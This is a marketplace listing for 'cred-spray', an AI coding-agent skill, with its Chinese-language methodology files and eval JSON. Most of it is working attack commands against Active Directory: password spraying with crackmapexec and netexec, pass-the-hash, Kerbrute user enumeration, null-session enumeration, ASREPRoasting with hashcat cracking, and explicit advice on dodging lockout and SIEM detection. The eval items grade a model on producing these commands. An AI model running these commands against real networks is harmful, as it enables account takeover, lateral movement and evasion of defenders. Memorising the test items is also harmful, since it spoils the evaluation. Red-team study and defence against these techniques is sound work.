
Cred Spray
- 27 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
cred-spray is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- cred-spray
- AI & Agent Building
- AI-coding skill
Cred Spray by the numbers
- 27 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,560 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill cred-sprayAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 27 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
凭据喷洒攻击方法论
⛔ 深入参考(必读)
- 需要喷洒前的凭据枚举与收集方法 → references/pre-cred-enumeration.md
---
凭据喷洒和暴力破解不同——暴力破解是对一个账户试很多密码,凭据喷洒是用一个密码试很多账户。后者不容易触发账户锁定。
Phase 1: 凭据清点
1.1 汇总已有凭据
用 evidence_list + evidence_read(筛选凭据类型)获取已收集的所有凭据。
凭据来源总结:
| 来源 | 凭据类型 | 获取方法 |
|---|---|---|
| 配置文件 | 明文密码 | 数据库连接串、.env 文件 |
| LSASS 内存 | NTLM 哈希/明文 | Mimikatz |
| SAM 数据库 | NTLM 哈希 | reg save + secretsdump |
| 浏览器 | 明文密码 | Chrome Login Data |
| SSH 密钥 | 私钥 | ~/.ssh/id_rsa |
| 历史命令 | 明文密码 | .bash_history |
| Kerberos | TGS 票据 | Kerberoasting |
1.2 构造凭据字典
将收集到的凭据整理为:
- 用户名列表
- 密码列表(明文 + 常见变体如 Password1! → Password2!)
- 哈希列表(用于 PTH)
Phase 2: 喷洒策略
2.1 密码喷洒(避免锁定)
关键原则:一次只试一个密码,等待间隔后再试下一个。
# 使用 crackmapexec 对 SMB 喷洒
cme smb 10.0.0.0/24 -u userlist.txt -p 'Password123!' --continue-on-success
# 单密码多用户(安全)
cme smb DC_IP -u userlist.txt -p 'Summer2024!' --continue-on-success
# 多密码时设置间隔(通常锁定策略是 30 分钟 5 次)
# 每次只试一个密码,间隔 35 分钟2.2 Pass-the-Hash (PTH)
有 NTLM 哈希不需要明文密码:
# SMB
cme smb 10.0.0.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:HASH'
# WMI
cme wmi TARGET -u administrator -H HASH
# RDP (Restricted Admin 模式)
xfreerdp /v:TARGET /u:administrator /pth:HASH2.3 多服务喷洒
同一凭据尝试不同服务:
# SSH
cme ssh 10.0.0.0/24 -u admin -p 'password'
# WinRM
cme winrm 10.0.0.0/24 -u admin -p 'password'
# MSSQL
cme mssql 10.0.0.0/24 -u sa -p 'password'
# MySQL
# MySQL(使用 nuclei 自定义模板爆破)
echo 'root' | nuclei -u mysql://10.0.0.1:3306 -t ~/nuclei-templates/brute/ 2>/dev/null || \
mysql -h 10.0.0.1 -u root -p'password' -e "SELECT 1"Phase 3: 结果分析
成功的凭据用 evidence_save 保存,然后评估:
- 本地管理员 → 可用于横向移动到该主机
- 域用户 → 可用于域内资源访问
- 域管理员 → 游戏结束,直接控制整个域
- 服务账户 → 可能有特殊权限(数据库/备份等)
Phase 4: 密码规律分析
从已获取的密码中寻找模式:
- 公司名+年份:
Company2024! - 季节+年份:
Summer2024!,Winter2024 - 键盘模式:
Qwer1234!,P@ssw0rd - 用户名变体:
john→John123!
用发现的模式生成更多候选密码进行喷洒。
注意事项
- 了解目标的账户锁定策略(
net accounts /domain) - 通常策略:5 次错误锁定 30 分钟 → 每 35 分钟最多试 4 次
- 优先喷洒高价值目标(域控/数据库/备份服务器)
- PTH 不触发账户锁定(不经过密码验证)
锁定策略感知
- 控制尝试次数在 4 次以内(低于 5 次阈值),不触发账户锁定
{
"skill_name": "cred-spray",
"evals": [
{
"id": 1,
"name": "cred-spray-lockout-aware-timing",
"prompt": "目标域的账户锁定策略是:5 次失败锁定 30 分钟。你有 100 个用户名和 3 个候选密码。如何安排喷洒时序才不会触发锁定?",
"expected_output": "每轮只试 1 个密码对所有 100 个用户,然后等 35 分钟(大于锁定时间30分钟+安全余量5分钟)再试下一个密码。每账户最多试 4 次(低于锁定阈值5次)",
"expectations": [
"一个密码|一轮|100个用户|反向喷洒",
"35分钟|等待|间隔|大于30分钟",
"4次以内|低于5次|阈值|不触发锁定",
"net accounts|锁定策略|先查询策略",
"Password spray|非暴力|慢速"
],
"required_terms": [
"net accounts",
"Password spray"
]
},
{
"id": 2,
"name": "cred-spray-pth-bypass-lockout",
"prompt": "你有用户 administrator 的 NTLM 哈希(aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)。请写出用 crackmapexec 对整个 /24 网段进行 PTH 的命令。PTH 会触发账户锁定吗?",
"expected_output": "cme smb 10.0.0.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'。PTH 不触发账户锁定(不经过密码验证环节)",
"expectations": [
"cme smb|crackmapexec|smb",
"-H|哈希|NTLM|Pass-the-Hash",
"不触发锁定|不经过密码验证|PTH优势",
"10.0.0.0/24|网段|批量",
"--continue-on-success|继续"
],
"required_terms": [
"NTLM",
"10.0.0.0/24",
"cme smb"
]
},
{
"id": 3,
"name": "cred-spray-password-pattern",
"prompt": "你从已攻破的主机上收集到 3 个密码:TechCorp2025!, TechCorp@2024, Tech2023!Corp。你能看出什么规律?基于此规律你会构造哪些新候选密码?",
"expected_output": "规律:公司名(TechCorp)+年份(2023-2025)+符号(!/@)。新候选:TechCorp2026!, TechCorp@2026, TechCorp#2026, TechCorp2026@, Spring2026!",
"expectations": [
"公司名|TechCorp|Company|组织名",
"年份|2025|2026|当前年份",
"符号|!|@|#|特殊字符",
"规律|模式|pattern|密码习惯",
"构造|生成|新密码|候选"
],
"required_terms": [
"Company"
]
}
]
}
{
"skill_id": "cred-spray",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"credential spray",
"凭据喷洒",
"password spray"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"密码复用",
"pth",
"pass the hash",
"ntlm"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被brute force召回",
"keywords": [
"默认密码",
"弱口令"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "cred-spray-scenario",
"scenario": "获取了一批用户密码 hash,需要进行密码喷射攻击。请搜索凭据喷射方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "cred|spray|密码喷射|credential"
},
{
"tool": "read_skill",
"id": "cred-spray"
}
]
}
]
}
喷洒前置: 无凭据用户枚举与情报收集
密码喷洒的成功率取决于两个输入: 准确的用户列表和高质量的候选密码。本文档覆盖在零凭据条件下获取这两项情报的全部手段。
---
Kerbrute 用户枚举
Kerberos 协议对"用户存在"与"用户不存在"返回不同错误码 (KDC_ERR_PREAUTH_REQUIRED vs KDC_ERR_C_PRINCIPAL_UNKNOWN),可据此判断账户是否存在。
基本用法
# 用户名字典枚举
kerbrute userenum --dc <DC_IP> -d <DOMAIN> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# 指定输出文件
kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt -o valid_users.txt
# 通过代理执行
proxychains4 -q kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt提取有效用户名
kerbrute userenum --dc <DC_IP> -d <DOMAIN> users.txt 2>&1 \
| grep "VALID" | awk '{print $7}' | cut -d'@' -f1 > valid_users.txt隐蔽性优势
- 走 Kerberos 协议 (UDP/TCP 88),不经过 SMB (TCP 445)
- 产生 Event ID 4768 (TGT 请求),不产生 Event ID 4625 (登录失败)
- 大量 4768 事件在域环境中属于正常流量,不易触发告警
- 不触发账户锁定计数器
---
Null Session 机制详解
IPC$ 与 SAMR 协议
Windows 允许通过匿名连接到 IPC$ (Inter-Process Communication) 共享,再经 SAMR (Security Account Manager Remote) 协议查询域信息。
# 测试 Null Session
netexec smb <DC_IP> -u '' -p ''
# 枚举用户 (注意检查 description 字段)
netexec smb <DC_IP> -u '' -p '' --users
# 获取密码策略 (喷洒前必须获取)
netexec smb <DC_IP> -u '' -p '' --pass-pol
# RID 枚举 (更完整的用户列表)
netexec smb <DC_IP> -u '' -p '' --rid-brute
# rpcclient 枚举
rpcclient -U '' -N <DC_IP>
# enumdomusers / enumdomgroups / queryuser <RID>Guest 账户 vs Null Session
| 特性 | Null Session | Guest 账户 |
|---|---|---|
| 身份 | 完全匿名 (ANONYMOUS LOGON) | Guest 用户 SID |
| 认证方式 | 空用户名 + 空密码 | Guest + 空密码 |
| 权限级别 | 最低,仅 SAMR 查询 | 稍高,可能访问共享 |
| 日志记录 | Event 4624 (Logon Type 3, Anonymous) | Event 4624 (Logon Type 3, Guest) |
| 默认状态 | Server 2016+ 默认禁用 | 通常禁用但偶有遗留 |
# 测试 Guest 账户
netexec smb <DC_IP> -u 'Guest' -p ''RestrictAnonymous 注册表影响
| 值 | 效果 |
|---|---|
| 0 | 允许匿名枚举 SAM 账户和共享 |
| 1 | 禁止匿名枚举 SAM 账户,但允许 SID 转换 |
| 2 | 完全禁止匿名访问 (最严格) |
现代域控通常设为 1 或 2,但遗留环境、DMZ 服务器、打印服务器等可能仍为 0。
检测事件
Null Session 枚举产生:
- Event ID 4624: 匿名登录成功 (Logon Type 3)
- Event ID 4672: 特权分配 (若有)
- 网络流量中可见 SAMR 请求
---
密码描述字段发现
管理员经常在用户 description 属性中嵌入初始密码或提示。
枚举方法
# Null Session 枚举 (检查描述字段)
netexec smb <DC_IP> -u '' -p '' --users输出示例
SMB 10.10.10.10 445 DC01 [*] Enumerated 16 users
SMB 10.10.10.10 445 DC01 Administrator
SMB 10.10.10.10 445 DC01 svc_backup (BackupPass123) <-- 密码在描述中
SMB 10.10.10.10 445 DC01 temp_user (Password: Welcome1!)发现嵌入密码后应立即验证:
netexec smb <DC_IP> -u 'svc_backup' -p 'BackupPass123'---
无凭据 ASREPRoasting
原理
禁用 Kerberos 预认证 (DONT_REQ_PREAUTH) 的用户,KDC 会直接返回用其密码加密的 TGT,攻击者可离线破解。
攻击方法
# 使用用户列表 (无需任何凭证)
impacket-GetNPUsers -dc-ip <DC_IP> '<DOMAIN>/' \
-usersfile valid_users.txt -format hashcat -outputfile asrep_hashes.txt
# 不指定用户,自动查询 (需要 LDAP 匿名访问)
impacket-GetNPUsers -dc-ip <DC_IP> '<DOMAIN>/' -request
# 通过代理执行
proxychains4 -q impacket-GetNPUsers -dc-ip <DC_IP> '<DOMAIN>/' \
-usersfile valid_users.txt -format hashcatHash 格式
$krb5asrep$23$svc_backup@CORP.LOCAL:a8f2e...破解
# Hashcat mode 18200 = Kerberos 5, etype 23, AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# 使用规则加速
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt与 Kerberoasting 区别
| 特性 | ASREPRoasting | Kerberoasting |
|---|---|---|
| 目标 | 禁用预认证的用户 | 有 SPN 的服务账户 |
| 请求类型 | AS-REQ (TGT) | TGS-REQ (ST) |
| 需要认证 | 否 | 是 (需要有效 TGT) |
| Hashcat mode | 18200 | 13100 |
---
锁定感知喷洒策略
获取锁定策略
# 通过 Null Session
netexec smb <DC_IP> -u '' -p '' --pass-pol
# 通过 rpcclient
rpcclient -U '<USER>%<PASS>' <DC_IP> -c 'getdompwinfo'
# 通过 enum4linux
enum4linux -P <DC_IP>关键参数:
Minimum password length: 7
Account lockout threshold: 5 <-- 5 次失败后锁定
Account lockout duration: 30 min
Reset lockout counter after: 30 min安全喷洒原则
1. 留余量: 锁定阈值 5 次 → 每个用户最多尝试 3-4 次 2. 等间隔: 每次喷洒间隔 >= 计数器重置时间 (通常 30-35 分钟) 3. 分批处理: 大用户列表拆分,轮流喷洒
# 分批
split -l 100 valid_users.txt batch_候选密码模式
| 类型 | 示例 |
|---|---|
| 季节 + 年份 | Summer2025!, Winter2025!, Spring2025! |
| 公司名 + 年份 | <Company>2025!, <Company>@123 |
| 通用弱密码 | Welcome1, Password1, P@ssw0rd, Changeme1 |
| 键盘模式 | Qwer1234!, Zaq1@wsx |
| 用户名变体 | john -> John123! |
执行喷洒
# Kerbrute (推荐,更隐蔽)
kerbrute passwordspray --dc <DC_IP> -d <DOMAIN> valid_users.txt '<PASSWORD>'
# NetExec SMB
netexec smb <DC_IP> -u valid_users.txt -p '<PASSWORD>' --continue-on-success
# 添加延迟的 Kerbrute
kerbrute passwordspray --dc <DC_IP> -d <DOMAIN> valid_users.txt '<PASSWORD>' --delay 1000---
Kerbrute vs NetExec 对比
| 特性 | Kerbrute | NetExec (SMB) |
|---|---|---|
| 协议 | Kerberos (88) | SMB (445) |
| 失败日志 | Event 4768 (TGT 请求) | Event 4625 (登录失败) |
| 锁定触发 | 不触发 | 触发 |
| 速度 | 快 (轻量协议) | 中等 |
| 隐蔽性 | 高 (4768 是正常流量) | 低 (4625 易被 SIEM 捕获) |
| 用户枚举 | 支持 (userenum) | 需要 Null Session |
| 适用场景 | 首选枚举和喷洒 | Null Session 可用时枚举更丰富 |
| 额外功能 | 仅枚举和喷洒 | 共享/策略/RID 枚举、命令执行 |
---
检测规避总结
| 行为 | SMB 认证 | Kerberos 认证 |
|---|---|---|
| 登录失败 | Event 4625 | Event 4768 (正常流量) |
| 锁定计数 | 累加 | 不累加 |
| SIEM 告警 | 容易触发 (多个 4625) | 不易触发 |
| 网络特征 | TCP 445 | TCP/UDP 88 |
最佳实践: 优先使用 Kerbrute 进行用户枚举和密码喷洒,仅在需要丰富枚举信息 (共享、策略、描述字段) 时使用 NetExec Null Session。